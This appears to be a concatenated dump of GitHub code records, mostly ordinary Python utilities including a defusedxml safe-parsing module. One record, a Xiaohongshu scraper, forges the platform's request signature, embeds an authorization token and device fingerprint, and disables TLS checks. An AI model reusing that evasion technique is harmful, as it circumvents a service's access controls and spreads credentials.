self._filter(iterator)\n\n\nclass GlobalParserTLS(threading.local):\n \"\"\"Thread local context for custom parser instances\"\"\"\n\n parser_config = {\n \"resolve_entities\": False,\n # 'remove_comments': True,\n # 'remove_pis': True,\n }\n\n element_class = RestrictedElement\n\n def createDefaultParser(self):\n parser = _etree.XMLParser(**self.parser_config)\n element_class = self.element_class\n if self.element_class is not None:\n lookup = _etree.ElementDefaultClassLookup(element=element_class)\n parser.set_element_class_lookup(lookup)\n return parser\n\n def setDefaultParser(self, parser):\n self._default_parser = parser\n\n def getDefaultParser(self):\n parser = getattr(self, \"_default_parser\", None)\n if parser is None:\n parser = self.createDefaultParser()\n self.setDefaultParser(parser)\n return parser\n\n\n_parser_tls = GlobalParserTLS()\ngetDefaultParser = _parser_tls.getDefaultParser\n\n\ndef check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True):\n \"\"\"Check docinfo of an element tree for DTD and entity declarations\n\n The check for entity declarations needs lxml 3 or newer. lxml 2.x does\n not support dtd.iterentities().\n \"\"\"\n docinfo = elementtree.docinfo\n if docinfo.doctype:\n if forbid_dtd:\n raise DTDForbidden(docinfo.doctype, docinfo.system_url, docinfo.public_id)\n if forbid_entities and not LXML3:\n # lxml < 3 has no iterentities()\n raise NotSupportedError(\"Unable to check for entity declarations \" \"in lxml 2.x\")\n\n if forbid_entities:\n for dtd in docinfo.internalDTD, docinfo.externalDTD:\n if dtd is None:\n continue\n for entity in dtd.iterentities():\n raise EntitiesForbidden(entity.name, entity.content, None, None, None, None)\n\n\ndef parse(source, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):\n if parser is None:\n parser = getDefaultParser()\n elementtree = _etree.parse(source, parser, base_url=base_url)\n check_docinfo(elementtree, forbid_dtd, forbid_entities)\n return elementtree\n\n\ndef fromstring(text, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):\n if parser is None:\n parser = getDefaultParser()\n rootelement = _etree.fromstring(text, parser, base_url=base_url)\n elementtree = rootelement.getroottree()\n check_docinfo(elementtree, forbid_dtd, forbid_entities)\n return rootelement\n\n\nXML = fromstring\n\n\ndef iterparse(*args, **kwargs):\n raise NotSupportedError(\"defused lxml.etree.iterparse not available\")\n","repo_name":"krishnaik06/The-Grand-Complete-Data-Science-Materials","sub_path":"ML Projects/NLP_WebAPP_Twitter_Sentiment_Analysis_knowledge_graph/venv/Lib/site-packages/defusedxml/lxml.py","file_name":"lxml.py","file_ext":"py","file_size_in_byte":4634,"program_lang":"python","lang":"en","doc_type":"code","stars":3745,"dataset":"github-code","pt":"0"}
+{"seq_id":"28888141526","text":"from math import log10\r\nimport numpy as np\r\n\r\ndef dbm2mw(dataIn):\r\n \r\n a = lambda t: 1*10**(t/10)\r\n dataOut = np.empty_like(dataIn)\r\n \r\n for idx, x in np.ndenumerate(dataIn):\r\n dataOut[idx] = a(x)\r\n return dataOut\r\n\r\ndef mw2dbm(dataIn: list):\r\n \r\n dataOut = []\r\n \r\n for i in dataIn:\r\n if i == 0.0:\r\n dataOut.append(float('-inf'))\r\n else:\r\n dataOut.append(10*log10(i))\r\n return dataOut","repo_name":"aalto-j/Thesis-D2D-simulation","sub_path":"dbConversion.py","file_name":"dbConversion.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"26666411249","text":"answer_templates = [\n [(\"I definitely think it's \", \".\"),\n (\"I am convinced that it's \", \".\"),\n (\"It's certainly \", \".\"),\n (\"\", \" for sure.\"),\n (\"\", \". That's easy!\"),\n ],\n [(\"I'm pretty sure it's \", \".\"),\n (\"I am quite sure it's \", \".\"),\n (\"I bet it's \", \".\"),\n (\"I reckon it's \", \".\"),\n (\"\", \".\"),\n ],\n [(\"To the best of my knowledge \", \".\"),\n (\"I believe it's \", \"\"),\n (\"I'm almost sure the answer is \", \".\"),\n (\"It has to be \", \".\"),\n ],\n [(\"I would say \", \".\"),\n (\"I'd say \", \".\"),\n (\"In my opinion \", \".\"),\n (\"Maybe the answer is \", \".\"),\n ],\n [(\"From what I understand, \", \".\"),\n (\"As far as I understand, \", \".\"),\n (\"As far as I know, \", \".\"),\n (\"According to what I know, \", \".\"),\n ],\n [(\"Based on what I know \", \".\"),\n (\"As far as I can tell \", \".\"),\n (\"According to my knowledge \", \".\"),\n (\"From what I gather, \", \".\"),\n ],\n [(\"If I understand correctly, \", \".\"),\n (\"If you ask me \", \".\"),\n (\"\", \", but I'm not 100% certain.\"),\n (\"\", \", but take it with a grain of salt.\"),\n ],\n [(\"I'm not sure, but I think the answer is \", \".\"),\n (\"I'm not sure. Is the answer \", \"?\"),\n (\"It might be \", \".\"),\n (\"My guess is \", \".\"),\n (\"\", \", but it's a wild guess.\"),\n (\"I guess \", \".\"),\n (\"\", \"?\"),\n ],\n [(\"This might be incorrect, but I think it's \", \".\"),\n (\"I might be wrong, but \", \".\"),\n (\"I suspect it's \", \".\"),\n (\"I might be totally off here, but \", \"?\"),\n (\"Wait a second... \", \"?\"),\n (\"Hold on. \", \"?\"),\n ],\n [(\"Don't quote me on that, but \", \".\"),\n (\"I'm probably wrong, but I would say \", \".\"),\n (\"It may be pure nonsesne, but I think \", \".\"),\n (\"If I have to guess \", \".\"),\n (\"I have no idea. \", \"?\"),\n (\"My best bet is \", \".\"),\n (\"Ummm... \", \"?\"),\n ],\n]\n","repo_name":"DeepPavlovAdmin/convai","sub_path":"2017/solutions/poetwanna.be/chatbot/talker/squad_talker/answer_templates.py","file_name":"answer_templates.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":391,"dataset":"github-code","pt":"0"}
+{"seq_id":"13435291264","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 12/3/2018 3:12 PM\n# @Author : Yong\nimport pandas as pd\nimport argparse\n\n\nparser = argparse.ArgumentParser(description='Convert the 1-based variant file to the 0-based variant file')\nparser.add_argument('inFile', type=str, action='store', help='Path of the input file in 1-based position')\nparser.add_argument('outFile', type=str, action='store', help='Path of the output file in 0-based position')\nargs = parser.parse_args()\n\nvcf = pd.read_table(args.inFile, header=None, names=['CHROM', 'POS', '-', 'REF', 'ALT'])\nvcf.insert(1, 'POS_0', vcf['POS']-1)\nvcf.sort_values(by=['CHROM', 'POS'], inplace=True)\nvcf.to_csv(args.outFile, columns=['CHROM', 'POS_0', 'POS'], sep='\\t', header=False, index=False)\n","repo_name":"zhangyongzlm/ExPecto_Usage","sub_path":"preprocess_closest-features.py","file_name":"preprocess_closest-features.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"25149789342","text":"import sys\nimport re\nimport json\nimport argparse\nimport Levenshtein\n\n\"\"\"\nA way to organize results of page post-processing so it can be passed to the finisher task. \nThe data here also serves as rows that summarize what was extracted so that different runs\nof the extraction process can be compared. Each row is json and the concatenated rows\nare a jsonl file. \n\nExcerpt is used to hold info about a single page and is passed to the finisher task via the finishing_queue.\n\nIssueExcerpts is used by the finisher task to organize the collection of excerpts\n\"\"\"\n\nclass AbsExcerpt:\n \"\"\"\n abstract baseclass to enable a tiny bit of type help in IDE.\n \"\"\"\n def __init__(self, journal_id: str = \"\", page_id: str = \"\", page_number: int = -1, page_type: int = -1):\n pass\n\n def set_title(self, title: str):\n pass\n\n def set_authors(self, authors: str):\n pass\n\n def set_refs(self, refs: str):\n pass\n\n def set_toc(self, toc: str):\n pass\n\n def set_explanation(self, explanation: str):\n pass\n\n def compare(self, other) -> float:\n return 0.0\n\n\nclass Excerpt(AbsExcerpt):\n def __init__(self, journal_id: str = \"\", page_id: str = \"\", page_number: int = -1, page_type: int = -1):\n\n \"\"\"\n :param journal_id: as known to IA.\n :param page_id: as known to IA.\n :param page_number: page number from the image filename, ignored for state start/finish\n :param page_type: int, same as ground.csv where 0=no annotations, 1=start_article, 2=references, 3=toc.\n \"\"\"\n self.journal_id = journal_id\n self.page_id = page_id\n self.page_type = page_type\n self.page_number = page_number\n self.title = \"\"\n self.authors = \"\"\n self.refs = \"\"\n self.toc = \"\"\n self.explanation = \"\"\n\n def get_page_number(self) -> int:\n return self.page_number\n\n def get_page_type(self) -> int:\n return self.page_type\n\n def escape_eol(self, s: str) -> str:\n return s.replace(\"\\n\", \"\\\\n\")\n\n def remove_eols(self, s: str) -> str:\n \"\"\"\n Remove newline chars and consecutive spaces are collapsed into one space.\n Trailing space is removed.\n :param s:\n :return:\n \"\"\"\n s = s.replace('\\n', ' ')\n s = re.sub('\\s+',' ', s)\n while s[-1:] == ' ':\n s = s[:-1]\n return s\n\n def set_title(self, title: str) -> AbsExcerpt:\n \"\"\"\n :param title: text without EOL chars\n :return: self\n \"\"\"\n self.title = self.remove_eols(title)\n\n def set_authors(self, authors: str) -> AbsExcerpt:\n self.authors = authors\n\n def set_refs(self, refs: str) -> AbsExcerpt:\n self.refs = refs\n\n def set_toc(self, toc: str) -> AbsExcerpt:\n self.toc = toc\n\n def set_explanation(self, explanation: str) -> AbsExcerpt:\n self.explanation = explanation\n\n def pretty(self) -> str:\n \"\"\"\n format excerpt for deubg/diag viewing.\n :return: formatted string, or None if not worth printing.\n \"\"\"\n ptype = \"\"\n operand1 = \"\"\n operand2 = \"\"\n if self.is_blank():\n return None\n elif self.is_article():\n ptype = \"ARTICLE\"\n operand1 = f\"\\\"{self.title}\\\" by \\\"{self.authors}\\\"\"\n operand2 = self.escape_eol(self.explanation)\n elif self.is_refs():\n ptype = \"REFS\"\n operand1 = self.escape_eol(self.refs)\n operand2 = self.escape_eol(self.explanation)\n elif self.is_toc():\n ptype = \"TOC\"\n operand1 = self.escape_eol(self.toc)\n operand2 = self.escape_eol(self.explanation)\n else:\n ptype = f\"UNKNOWN({self.page_type})\"\n sout = f\"{self.page_id}: {ptype} page {self.page_number}: {operand2}\\n {operand1}\"\n return sout\n\n def to_json(self) -> str:\n \"\"\"\n :return: json for excerpt as one line, EOL chars in string types are escaped, suitable for concatenating\n into an \"*.jsonl\" file.\n \"\"\"\n dict = {\"journal_id\": self.journal_id, \"page_id\": self.page_id, \"page_number\": self.page_number,\n \"page_type\": self.page_type, \"title\": self.title, \"authors\": self.authors, \"refs\": self.refs,\n \"toc\": self.toc, \"explanation\": self.explanation}\n json_out = json.dumps(dict)\n return json_out\n\n def load_from_json(self, json_str: str):\n \"\"\"\n Load values into this object from a json string.\n :param json_str:\n :return:\n \"\"\"\n dict = json.loads(json_str)\n # print(f\" load_from_json: {dict}\")\n self.journal_id = dict[\"journal_id\"]\n self.page_id = dict[\"page_id\"]\n self.page_type = dict[\"page_type\"]\n self.page_number = dict[\"page_number\"]\n self.title = dict[\"title\"]\n self.authors = dict[\"authors\"]\n self.refs = dict[\"refs\"]\n self.toc = dict[\"toc\"]\n self.explanation = dict[\"explanation\"]\n\n def same_page(self, other) -> bool:\n if self.journal_id != other.journal_id:\n return False\n if self.page_id != other.page_id:\n return False\n return self.page_number == other.page_number\n\n def same_type(self, other) -> bool:\n return self.page_type == other.page_type\n\n def is_blank(self):\n return self.page_type == 0\n\n def is_article(self):\n return self.page_type == 1\n\n def is_refs(self):\n return self.page_type == 2\n\n def is_toc(self):\n return self.page_type == 3\n\n def compare(self, other: AbsExcerpt) -> float:\n \"\"\"\n Compare this to other instance.\n :param other: compare this to the other.\n :return: a score, the similarity of the extracted text, if the two instances\n are the same page type. If types differ, then score is 0\n \"\"\"\n if not self.same_page(other):\n raise KeyError(\"cannot compare excerpts from different pages\")\n if not self.same_type(other):\n return 0.0\n if self.is_blank():\n return 1.0\n elif self.is_article():\n m1 = Levenshtein.ratio(self.title, other.title)\n m2 = Levenshtein.ratio(self.authors, other.authors)\n return m1 * m2\n elif self.is_refs():\n return Levenshtein.ratio(self.refs, other.refs)\n elif self.is_toc():\n return Levenshtein.ratio(self.toc, other.toc)\n else:\n raise IndexError(\"unknown page type\")\n\n\nclass IssueExcerpts:\n \"\"\"\n A collection of Excerpts for a single issue. It can be saved, loaded, compared, and dumped to stdout.\n \"\"\"\n def __init__(self):\n self.max_page = -1 # page number max\n self.page_count = 0\n self.excerpt_list = [] # partially ordered Excerpts\n self.excerpt_index = {} # index by page number to get Excerpt instance\n\n def put(self, row: Excerpt) -> int:\n \"\"\"\n Add an excerpt to this collection for a single issue. If put() again, it will replace\n previous if the same page.\n :param row: an Excerpt instance to store.\n :return: total number of pages\n \"\"\"\n # notice if already exists (we are replacing)\n replacement = False\n prev = self.get(row.get_page_number())\n if prev:\n replacement = True\n self.excerpt_list.append(row)\n self.excerpt_index[row.get_page_number()] = row\n if not replacement:\n self.page_count += 1\n self.max_page = max(self.max_page, row.get_page_number())\n return self.page_count\n\n def get(self, page_number: int) -> Excerpt:\n try:\n return self.excerpt_index[page_number]\n except KeyError:\n return None\n\n def get_page_count(self) -> int:\n return self.page_count\n\n def is_contiguous(self) -> bool:\n \"\"\"\n Check whether the IssueExcerpts has no missing pages\n :return: True if no missing pages.\n \"\"\"\n if self.max_page+1 != self.page_count:\n return False\n # check that all the pages exist\n for ipage in range(0, self.max_page+1):\n ex = self.get(ipage)\n if ex is None:\n return False\n return True\n\n def save(self, dest: str) -> None:\n \"\"\"\n Save as a jsonl file (one json per line), in page order.\n :param dest:\n :return:\n \"\"\"\n with open(dest, 'w', encoding='utf-8') as f:\n for ipage in range(0, self.max_page + 1):\n ex = self.get(ipage)\n if ex:\n f.write(ex.to_json() + \"\\n\")\n\n def load(self, src: str):\n \"\"\"\n Load an IssueExcerpts that was saved as a jsonl file, one json per line.\n :param src: file location to read.\n :return: self (IssueExcerpts)\n \"\"\"\n with open(src, \"r\", encoding='utf-8') as f:\n while True:\n json_str = f.readline()\n if not json_str:\n break\n ex = Excerpt(\"\",\"\",-1,-1)\n ex.load_from_json(json_str)\n self.max_page = max(self.max_page, ex.page_number)\n self.page_count += 1\n self.excerpt_list.append(ex)\n self.excerpt_index[ex.page_number] = ex\n return self\n\n def dump(self):\n \"\"\"\n dump to stdout, pretty printed.\n :return: None\n \"\"\"\n continued_line_prefix = \" \"\n for k in self.get_ordered_pages():\n ex = self.get(k)\n if ex:\n spretty = ex.pretty()\n if spretty:\n spretty = spretty.replace(\"\\\\n\", f\"\\n{continued_line_prefix}\")\n sys.stdout.write(f\"{spretty}\")\n sys.stdout.write('\\n')\n\n def get_ordered_pages(self):\n \"\"\"\n :return: list of the pages ordered by page number.\n \"\"\"\n ordered_list = []\n for k in self.excerpt_index.keys():\n ordered_list.append(k)\n ordered_list.sort()\n return ordered_list\n\n def compare(self, other) -> (float, str):\n \"\"\"\n Compare results.\n\n :param other: compare this to the other.\n :return: (score, explanation)\n \"\"\"\n scores = []\n missing_counterparts = 0\n explanation = \"\"\n count_blank = 0\n count_article = 0\n count_refs = 0\n count_toc = 0\n my_pages = self.get_ordered_pages()\n my_pages_len = len(my_pages)\n other_pages = other.get_ordered_pages()\n if my_pages_len != len(other_pages):\n explanation += \" differing page count; \"\n if self.is_contiguous() != other.is_contiguous():\n explanation += \" only one file non-contiguous; \"\n other_pages_mask = {}\n for i in other_pages:\n other_pages_mask[i] = 1\n for i in range(0, my_pages_len):\n page_no = my_pages[i]\n my_pages[i] = None # mark page as checked\n my_ex = self.get(page_no)\n my_type = my_ex.get_page_type()\n if my_type == 0:\n count_blank += 1\n elif my_type == 1:\n count_article += 1\n elif my_type == 2:\n count_refs += 1\n elif my_type == 3:\n count_toc += 1\n other_ex = other.get(page_no)\n if other_ex:\n other_pages_mask[page_no] = 0 # mark as done\n # compare the page\n score = my_ex.compare(other_ex)\n scores.append(score)\n else:\n # other page does not exist\n scores.append(0.0)\n missing_counterparts += 1\n # check on pages in other that are not in this\n for j in range(0, sum(other_pages_mask.values())):\n scores.append(0.0)\n missing_counterparts += 1\n if missing_counterparts > 0:\n explanation += f\" {missing_counterparts} missing counterpart pages\"\n # overall score\n overall_score = sum(scores) / len(scores)\n if len(explanation) == 0:\n explanation = f\"{my_pages_len} pages; \"\n explanation += f\" articles={count_article} refs={count_refs} toc={count_toc} blank={count_blank}\"\n return overall_score, explanation\n\n\n\nif __name__ == '__main__':\n FLAGS = None\n # init the parser\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '--dump', '-d',\n type=str,\n default='',\n help='path of excerpt jsonl file to dump, pretty printed'\n )\n parser.add_argument(\n '--golden', '-g',\n type=str,\n default='',\n help='path to golden excerpt jsonl file to compare'\n )\n parser.add_argument(\n '--check', '-c',\n type=str,\n default='',\n help='path to excerpt jsonl file to compare to golden'\n )\n\n FLAGS, unparsed = parser.parse_known_args()\n if len(unparsed) > 0:\n print(f\" Unknown args ignored: {unparsed}\")\n parser.print_usage()\n sys.exit(5)\n dump_path = FLAGS.dump\n golden_path = FLAGS.golden\n check_path = FLAGS.check\n\n if dump_path != '':\n ie = IssueExcerpts()\n ie.load(dump_path)\n ie.dump()\n sys.exit(0)\n if golden_path == '' or check_path == '':\n parser.print_usage()\n sys.exit(1)\n ie_golden = IssueExcerpts()\n ie_golden.load(golden_path)\n ie_check = IssueExcerpts()\n ie_check.load(check_path)\n score, explanation = ie_golden.compare(ie_check)\n print(f\"{score} explanation: {explanation}\")\n","repo_name":"tralfamadude/ufilm_segment","sub_path":"src/excerpt.py","file_name":"excerpt.py","file_ext":"py","file_size_in_byte":13728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32711236678","text":"import CralwerSet.connect_mysql as connect_mysql\nimport json\nimport hashlib\nimport time\nimport requests\nimport random\nimport traceback\n\n\n\n\ndef get_Xsign(id):\n data = f\"/fe_api/burdock/weixin/v2/user/{id}?sid=session.1577714043741394419362WSUDD\"\n m = hashlib.md5(data.encode())\n sign = m.hexdigest()\n return \"X\" + sign\n\n\ndef getData(id):\n headers = {\n 'device-fingerprint': 'WHJMrwNw1k/HHeHdJP9eciZQM1EIuxb06bdwsL2b8Thw5qsGHcWmXEi2/NlTzrKoNtHPzOLrvAPQmwetCdCyPX5EzFGRDVy4fdCW1tldyDzmauSxIJm5Txg==1487582755342',\n 'User-Agent': 'Mozilla/5.0 (Linux; Android 5.1.1; HUAWEI MLA-AL10 Build/HUAWEIMLA-AL10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36 MicroMessenger/7.0.12.1620(0x27000C50) Process/appbrand0 NetType/WIFI Language/zh_CN ABI/arm32',\n \"authorization\": \"01fb7d4a-37d8-4b4b-97d4-9bb9f977421c\",\n \"x-sign\": get_Xsign(id)\n }\n url = f\"https://www.xiaohongshu.com/fe_api/burdock/weixin/v2/user/{id}?sid=session.1577714043741394419362\"\n response = requests.get(url, headers=headers, verify=False)\n # 随机等待\n time.sleep(random.randint(0, 10))\n content = response.text\n info = json.loads(content)\n follow = info['data']['follows']\n fans = info['data']['fans']\n liked = info['data']['liked']\n collect = info['data']['collected']\n location = info['data']['location']\n level = json.dumps(info['data']['level'], ensure_ascii=False)\n notes = info['data'][\"notes\"]\n data = [follow, fans, liked, collect, location, level, notes, id]\n return data\n\n\ndef update(data, cur):\n sql = \"update xhs_user set FOLLOW=%s,FANS=%s,LIKED=%s,COLLECT=%s,LOCATION=%s,`LEVEL`=%s,NOTES=%s,UPDATE_DATE=CURDATE() where USER_ID=%s limit 1;\"\n cur.execute(sql, data)\n return\n\n\nif __name__ == '__main__':\n conn = connect_mysql.test()\n cur = conn.cursor()\n sql = 'select USER_ID from xhs_user where NOTES=0;'\n cur.execute(sql)\n for id in [i[0] for i in cur.fetchall()]:\n try:\n data = getData(id)\n conn.ping(True)\n update(data, cur)\n conn.commit()\n except:\n cur.close()\n conn.close()\n traceback.print_exc()\n time.sleep(random.randint(0, 30))\n cur.close()\n conn.close()\n\n","repo_name":"sambabypapapa/CralwerSet","sub_path":"xiaohongshu/xiaohs_user.py","file_name":"xiaohs_user.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"15433988243","text":"# Problem przewodnika turystycznego\n# Kazda krawedz ma wage, ktora przechowuje informacje o tym, jaka jest pojemnosc kazdego autobusu\n# W kazdym wierzcholku trzymamy informacje o tym, ile grup potrzeba aby do niego dojsc\n# Macierz sasiedztwa ale na krawedzie \n\n\"\"\"\nWez wszystkie krawedzie i je posortuj po pojemnosci autobusow \nnastepnie jedna po drugiej dodawaj je do grafu dopoki nie zacznie istniec ta sciezka ( find union )\n\nlub wyszukiwanie binarne \n\nczy istnieje krawedz aby przewiezc 2 grupy (100 uczestnikow)? wyrzucamy wszystkie krawedzie o wadze mniejszej niz 50.\n\n\n1)\n- robimy BFS, ale jak dojdziemy do krawedzi i jest taka sobie, to moze najptymalniej isc gdzie indziej, \ntaki bfs, ze w kazdym wierzcholku trzymamy informacje, jaka jest minimalna waga krawedzi (czyli najmniejsza pojemnosc autobousow)\nmamy tez visited (macierz) na krawedzie\naktualizujemy zawsze jak najptymalniej mozemy dojsc do danego wierzcholka \n\n2)\npo kolei dodajemy wierzcholki w kolejnosci malejacych wag i w ktorym momencie mozemy dojsc do konca, waga ostatniej krawedzi jaka dodalismy\nto jest ta minimalna pojemnosc autobusu\n\nPuszczamy grupke ta sama sciezka, ale tak, zeby poscic tych grup jak najmniej \nPosortuj krawedzie malejaco\nRob mst, fragment tego mst wykorzystaj \nmaksymalne drzewo rozpinajace \ndo kolejki wrzucaj wagi z minusami, wtedy dostaniesz najwieksze drzewo rozpianajace \n\"\"\"\n\nfrom collections import deque\nimport math\n\ndef createGraph(edges, n):\n G = [ [] for _ in range(n) ]\n for edge in edges:\n a = edge[0]\n b = edge[1]\n G[a].append(b)\n G[b].append(a)\n #\n#\n\ndef addEdge(G, a, b):\n G[a].append(b)\n G[b].append(a)\n#\n\n\ndef BFS(G, n, source, destination):\n visited = [ False for _ in range(n) ] \n queue = deque()\n\n visited[source] = True \n queue.append(source)\n\n while queue:\n s = queue.popleft()\n\n for vertex in G[s]:\n if visited[vertex] == False:\n visited[vertex] = True \n queue.append(vertex)\n \n if vertex == destination:\n return visited\n #\n #\n #end while\n\n return visited\n#end def ^^^\n\n\ndef getVertices(edges):\n maxVertex = 0\n for edge in edges:\n a = edge[0]\n b = edge[1]\n maxVertex = max( maxVertex, a )\n maxVertex = max( maxVertex, b)\n #\n return maxVertex + 1\n#end def ^^^\n\n\ndef TouristGuide(K, edges, A, B):\n #\n n = getVertices(edges)\n edges.sort( key = lambda x: x[2], reverse = True )\n print(edges)\n numberGroups = 0\n\n G = [ [] for _ in range(n) ]\n\n for edge in edges:\n #\n a = edge[0]\n b = edge[1] \n value = edge[2]\n\n addEdge(G, a, b)\n # numberGroups = max( numberGroups, math.ceil( K / value) )\n\n visited = BFS(G, n, A, B)\n if visited[B] == True: return math.ceil( K / value ) # return numberGroups\n #end for \n\n#end def ^^^\n\nedges = [\n (0, 1, 50),\n (0, 3, 25),\n (1, 2, 75),\n (2, 3, 20),\n (3, 5, 50),\n (5, 6, 2),\n (4, 6, 10),\n (6, 7, 20),\n (7, 8, 70),\n (1, 5, 75),\n (2, 5, 30),\n (3, 4, 50)\n]\n\n\nprint( TouristGuide(100, edges, 0, 8) )\n\n\n \n","repo_name":"pawlowiczf/ASD-2022-2023","sub_path":"Grafy kwiecien 2023/cwiczenia 20.04.2023/problem przewodnika turystycznego/3.1 problem przewodnika turystycznego.py","file_name":"3.1 problem przewodnika turystycznego.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"pl","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"27632519543","text":"input_file = \"text_6.txt\"\nwith open(input_file, mode=\"r\", encoding=\"utf-8\") as f_obj:\n line_count = 0\n init_dict = {}\n for line in f_obj:\n init_list = line.split()\n el_sum = 0\n for el in init_list[1:]:\n el_list = [el[i] for i in range(len(el)) if el[i].isdigit()]\n if el_list:\n el_list = int(\"\".join(el_list))\n el_sum += el_list\n subject = init_list[0]\n subject = subject[:-1]\n init_dict.update({subject: el_sum})\n line_count += 1\nprint(init_dict)\n","repo_name":"okovalchuk777/fai-python-c01-tasks","sub_path":"Lesson05/lesson05_task06.py","file_name":"lesson05_task06.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74720006115","text":"import patreon \nfrom discord.ext import commands\nimport os\nfrom datetime import datetime\nimport requests\n\ncreator_access_token = os.environ.get(\"CREATOR_ACCESS_TOKEN\")\napi_client = patreon.API(creator_access_token)\ncampaign_id = os.environ.get(\"CAMPAIGN_ID\")\n\ncool_people = [\"348538644887240716\"]\n\npatreon_cache = { \n 'patrons': None,\n 'last_update': None\n}\n\ntiers = ['9638482', '9638654', '9638663']\n\ndef get_patreon_users(): \n\n if patreon_cache['last_update'] is not None and (datetime.now() - patreon_cache['last_update']).total_seconds() < 300:\n return patreon_cache['patrons']\n \n patrons = api_client.fetch_page_of_pledges(campaign_id, 200).json_data\n\n patreon_cache['patrons'] = patrons \n patreon_cache['last_update'] = datetime.now()\n\n return patrons\n\ndef get_patreon_title(patron_id): \n\n patrons = get_patreon_users()\n patron = [patron for patron in patrons['data'] if patron['relationships']['patron']['data']['id'] == patron_id] \n\n if len(patron) == 0:\n return None\n \n patron = patron[0] \n tier_id = patron['relationships']['reward']['data']['id']\n\n return tier_id\n\ndef get_patreon_tier(discord_id): \n\n if str(discord_id) in cool_people:\n return len(tiers) - 1\n\n patrons = get_patreon_users()\n patron = [patron for patron in patrons['included'] if patron['type'] == 'user' and patron['attributes']['social_connections']['discord']['user_id'] == str(discord_id)]\n\n if len(patron) == 0:\n return None\n \n patron = patron[0] \n tier_id = get_patreon_title(patron['id'])\n\n if tier_id is None:\n return None\n \n return tiers.index(tier_id)\n\n \n# Wrappers for patron only commands\n\ndef tangerine_only():\n def predicate(ctx):\n\n if str(ctx.author.id) in cool_people:\n return True\n\n patrons = get_patreon_users()\n \n patrons = [patron for patron in patrons['included'] if patron['type'] == 'user' and patron['attributes']['social_connections']['discord']['user_id'] == str(ctx.author.id)]\n\n if len(patrons) == 0:\n return False\n \n patron = patrons[0]\n tier_id = get_patreon_title(patron['id'])\n\n if tier_id is None:\n return False\n \n return tiers.index(tier_id) >= 0\n\n return commands.check(predicate)\n\ndef grapefruit_only():\n def predicate(ctx):\n\n if str(ctx.author.id) in cool_people:\n return True\n\n patrons = get_patreon_users()\n \n patrons = [patron for patron in patrons['included'] if patron['type'] == 'user' and patron['attributes']['social_connections']['discord']['user_id'] == str(ctx.author.id)]\n\n if len(patrons) == 0:\n return False\n \n patron = patrons[0]\n tier_id = get_patreon_title(patron['id'])\n\n if tier_id is None:\n return False\n \n return tiers.index(tier_id) >= 1\n\n return commands.check(predicate)\n\ndef lemon_only():\n def predicate(ctx):\n\n if str(ctx.author.id) in cool_people:\n return True\n\n patrons = get_patreon_users()\n \n patrons = [patron for patron in patrons['included'] if patron['type'] == 'user' and patron['attributes']['social_connections']['discord']['user_id'] == str(ctx.author.id)]\n\n if len(patrons) == 0:\n return False\n \n patron = patrons[0]\n tier_id = get_patreon_title(patron['id'])\n\n if tier_id is None:\n return False\n \n return tiers.index(tier_id) >= 2\n\n return commands.check(predicate)\n \n","repo_name":"FineLime/LimeBot","sub_path":"stuff/patreon_only.py","file_name":"patreon_only.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"27557417354","text":"from typing import Any, List\n\nimport shortuuid\nfrom app.models.note import Note\nfrom app.repositories.base_repository import BaseRepository\n\n\nclass NoteRepository(BaseRepository):\n model_class = Note\n\n def get(self,\n offset: int,\n limit: int,\n order: Any = None,\n user_id: str = None,\n status: str = None,\n keyword: str = None) -> List[Note]:\n query = self.model_class.query\n if order is not None:\n query = query.order_by(order)\n if status is not None:\n query = query.filter_by(status=status)\n if user_id is not None:\n query = query.filter_by(user_id=user_id)\n if keyword is not None:\n query = query.filter(Note.title.contains(keyword) | Note.description.contains(keyword))\n\n return query.offset(offset).limit(limit).all()\n\n def count(self, order: Any = None, user_id: str = None, status: str = None, keyword: str = None) -> List[Note]:\n query = self.model_class.query\n if order is not None:\n query = query.order_by(order)\n if status is not None:\n query = query.filter_by(status=status)\n if user_id is not None:\n query = query.filter_by(user_id=user_id)\n if keyword is not None:\n query = query.filter(Note.title.contains(keyword) | Note.description.contains(keyword))\n\n return query.all()\n\n # def create(self, fields: Dict) -> Note:\n # fields['id'] = self._generate_id()\n\n # model = self.model_class(**fields)\n # self.session.add(model)\n # self.session.commit()\n # return model\n\n # def _generate_id(self) -> str:\n # id_ = str(shortuuid.uuid())\n # while self.exist(id_):\n # id_ = str(shortuuid.uuid())\n # return id_\n","repo_name":"eisuke-ueta/cocode-api","sub_path":"app/repositories/note_repository.py","file_name":"note_repository.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
